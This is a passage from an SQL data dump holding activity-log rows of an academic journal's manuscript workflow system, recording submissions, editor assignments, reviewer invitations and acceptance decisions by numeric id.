Submission form',10768,'Author',11345),(102201,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10737,'Publisher',988),(102202,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10737,'Publisher',988),(102203,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10737,'Publisher',988),(102204,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10737,'Publisher',988),(102205,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102206,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102207,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102208,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102209,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102210,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10524,'Publisher',984),(102234,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10738,'Publisher',319),(102235,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10746,'Publisher',319),(102262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10738,'Publisher',319),(102279,'0000-00-00 00:00:00','Reviewer has submitted comments',10738,'Reviewer',12875),(102283,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10781,'Author',11357),(102285,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10783,'Author',11359),(102287,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10731,'Publisher',972),(102288,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10730,'Publisher',972),(102305,'0000-00-00 00:00:00','Reviewer has submitted comments',10138,'Reviewer',17212),(102306,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10138,'Editor',1315),(102307,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10138,'Editor',1315),(102309,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10138,'Publisher',972),(102327,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10768,'Publisher',84),(102331,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10665,'Editor',194),(102332,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10665,'Editor',194),(102334,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10665,'Publisher',48),(102341,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10665,'Publisher',48),(102348,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10413,'Editor',194),(102349,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10413,'Editor',194),(102350,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10414,'Editor',194),(102351,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10414,'Editor',194),(102352,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10414,'Publisher',48),(102353,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10413,'Publisher',48),(102361,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10783,'Publisher',48),(102363,'0000-00-00 00:00:00','Reviewer has updated comments',10265,'Reviewer',19964),(102364,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10265,'Editor',1456),(102365,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10265,'Editor',1456),(102368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10783,'Publisher',48),(102369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10783,'Publisher',48),(102370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10783,'Publisher',48),(102371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10783,'Publisher',48),(102375,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10799,'Publisher',85),(102383,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10200,'Publisher',84),(102384,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10200,'Publisher',84),(102385,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10222,'Publisher',84),(102386,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10322,'Publisher',84),(102387,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10371,'Publisher',84),(102388,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10802,'Author',11370),(102390,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9651,'Publisher',84),(102391,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9815,'Publisher',84),(102412,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10781,'Publisher',75),(102450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(102451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(102452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(102453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(102472,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10809,'Author',11379),(102535,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10813,'Author',11383),(102541,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8634,'Editor',222),(102547,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8634,'Publisher',84),(102548,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9650,'Editor',222),(102549,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9650,'Publisher',84),(102554,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10768,'Editor',221),(102555,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10588,'Editor',221),(102556,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10526,'Editor',221),(102557,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10768,'Editor',221),(102558,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10588,'Editor',221),(102559,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10526,'Editor',221),(102560,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10526,'Editor',221),(102561,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102562,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102563,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102564,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102565,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102566,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102567,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102568,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102569,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102570,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102571,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102572,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102573,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102574,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102575,'0000-00-00 00:00:00','Editor has Invited Reviewer',10768,'Editor',221),(102576,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10768,'Editor',221),(102577,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10474,'Editor',222),(102578,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10474,'Editor',222),(102579,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10815,'Author',11385),(102581,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10799,'Publisher',85),(102582,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102583,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10799,'Publisher',85),(102596,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10816,'Author',11386),(102598,'0000-00-00 00:00:00','Publisher : Notified Editor',9999,'Publisher',274),(102606,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10822,'Author',11392),(102607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102620,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9639,'Publisher',274),(102622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102624,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102625,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102626,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102627,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9640,'Publisher',274),(102631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10059,'Publisher',274),(102675,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10822,'Publisher',75),(102689,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10371,'Editor',221),(102691,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10371,'Publisher',84),(102692,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10371,'Publisher',84),(102694,'0000-00-00 00:00:00','Publisher : Notified Editor',10738,'Publisher',319),(102695,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10746,'Editor',1069),(102696,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10738,'Editor',1069),(102697,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10738,'Editor',1069),(102698,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10738,'Publisher',319),(102700,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10836,'Author',11401),(102701,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10838,'Author',11403),(102805,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10840,'Author',11405),(102838,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10816,'Publisher',48),(102839,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10815,'Publisher',48),(102843,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10809,'Publisher',84),(102845,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10838,'Publisher',85),(102846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102848,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102849,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102850,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10838,'Publisher',85),(102906,'0000-00-00 00:00:00','Reviewer has submitted comments',10763,'Reviewer',18830),(103014,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',10838,'Reviewer',15975),(103016,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10865,'Author',11427),(103042,'0000-00-00 00:00:00','Reviewer has submitted comments',10648,'Reviewer',18838),(103043,'0000-00-00 00:00:00','Publisher : Notified Editor',10648,'',1216),(103044,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10648,'Editor',1410),(103045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103046,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10648,'Editor',1410),(103047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10816,'Publisher',48),(103052,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10648,'',1216),(103053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103056,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10815,'Publisher',48),(103059,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10648,'',1216),(103060,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10648,'',1216),(103061,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10648,'',1216),(103069,'0000-00-00 00:00:00','Reviewer has submitted comments',10649,'Reviewer',18830),(103070,'0000-00-00 00:00:00','Publisher : Notified Editor',10649,'',1216),(103072,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9409,'Editor',1410),(103073,'0000-00-00 00:00:00','Publisher : Notified Editor',10649,'',1216),(103074,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10649,'Editor',1410),(103075,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10649,'Editor',1410),(103076,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10649,'',1216),(103077,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10649,'',1216),(103088,'0000-00-00 00:00:00','Publisher : Notified Editor',10466,'',1216),(103098,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10466,'Editor',1410),(103099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103100,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103102,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10466,'Editor',1410),(103103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103110,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10466,'',1216),(103111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10809,'Publisher',84),(103118,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10466,'',1216),(103119,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10466,'',1216),(103150,'0000-00-00 00:00:00','Reviewer has submitted comments',10413,'Reviewer',11520),(103151,'0000-00-00 00:00:00','Reviewer has submitted comments',10413,'Reviewer',11520),(103152,'0000-00-00 00:00:00','Reviewer has submitted comments',10413,'Reviewer',11520),(103153,'0000-00-00 00:00:00','Reviewer has submitted comments',10413,'Reviewer',11520),(103154,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10413,'Publisher',48),(103160,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10813,'Publisher',248),(103161,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10813,'Editor',1674),(103162,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10597,'Editor',1674),(103163,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10813,'Editor',1674),(103165,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10597,'Editor',1674),(103175,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10871,'Publisher',972),(103181,'0000-00-00 00:00:00','Manuscript Submitted by Author',10872,'Author',11433),(103183,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10873,'Author',11434),(103194,'0000-00-00 00:00:00','Reviewer has submitted comments',10816,'Reviewer',18593),(103198,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10881,'Author',11441),(103199,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10882,'Author',11442),(103209,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10887,'Author',11448),(103247,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10840,'Publisher',84),(103285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103290,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103292,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103293,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10840,'Publisher',84),(103317,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9285,'Editor',161),(103318,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9285,'Editor',161),(103319,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9285,'Publisher',75),(103325,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10865,'Publisher',319),(103326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10865,'Publisher',319),(103335,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10524,'Editor',1710),(103336,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10524,'Editor',1710),(103356,'0000-00-00 00:00:00','Reviewer has submitted comments',10865,'Reviewer',12875),(103368,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10524,'Publisher',984),(103369,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10524,'Publisher',984),(103370,'0000-00-00 00:00:00','Reviewer has submitted comments',10414,'Reviewer',11520),(103372,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10414,'Publisher',48),(103406,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10925,'Publisher',972),(103409,'0000-00-00 00:00:00','Publisher : Notified Editor',9235,'Publisher',274),(103410,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9235,'Editor',1668),(103411,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9235,'Publisher',274),(103412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10351,'Publisher',48),(103414,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9096,'Editor',161),(103415,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9096,'Editor',161),(103416,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9096,'Publisher',75),(103417,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10350,'Editor',194),(103418,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10350,'Editor',194),(103419,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10351,'Editor',194),(103420,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10351,'Editor',194),(103421,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10523,'Editor',194),(103422,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10523,'Editor',194),(103428,'0000-00-00 00:00:00','Reviewer has submitted comments',10351,'Reviewer',11520),(103429,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10350,'Publisher',48),(103514,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10930,'Publisher',984),(103515,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10859,'',1216),(103568,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(103570,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(103600,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10470,'Editor',162),(103602,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10470,'Editor',162),(103607,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10470,'Publisher',75),(103609,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10470,'Publisher',75),(103610,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9999,'Editor',1668),(103611,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9999,'Editor',1668),(103614,'0000-00-00 00:00:00','Publisher : Notified Author',9999,'Publisher',274),(103633,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10840,'Editor',221),(103634,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10809,'Editor',221),(103635,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10840,'Editor',221),(103638,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10809,'Editor',221),(103658,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10872,'Publisher',1009),(103666,'0000-00-00 00:00:00','Author sent Email',10368,'Author',11037),(103670,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10628,'Editor',161),(103671,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10628,'Editor',161),(103672,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10628,'Publisher',75),(103673,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10628,'Publisher',75),(103697,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10873,'Publisher',48),(103699,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10350,'Publisher',48),(103700,'0000-00-00 00:00:00','Reviewer has submitted comments',10350,'Reviewer',11520),(103701,'0000-00-00 00:00:00','Reviewer has updated comments',10351,'Reviewer',11520),(103702,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10350,'Editor',194),(103703,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10351,'Publisher',48),(103704,'0000-00-00 00:00:00','Publisher has been Rejected Articles  article',10350,'Publisher',48),(103705,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10350,'Editor',194),(103706,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10350,'Publisher',48),(103707,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10350,'Publisher',48),(103736,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10871,'Publisher',972),(103770,'0000-00-00 00:00:00','Editor has Accepted to review 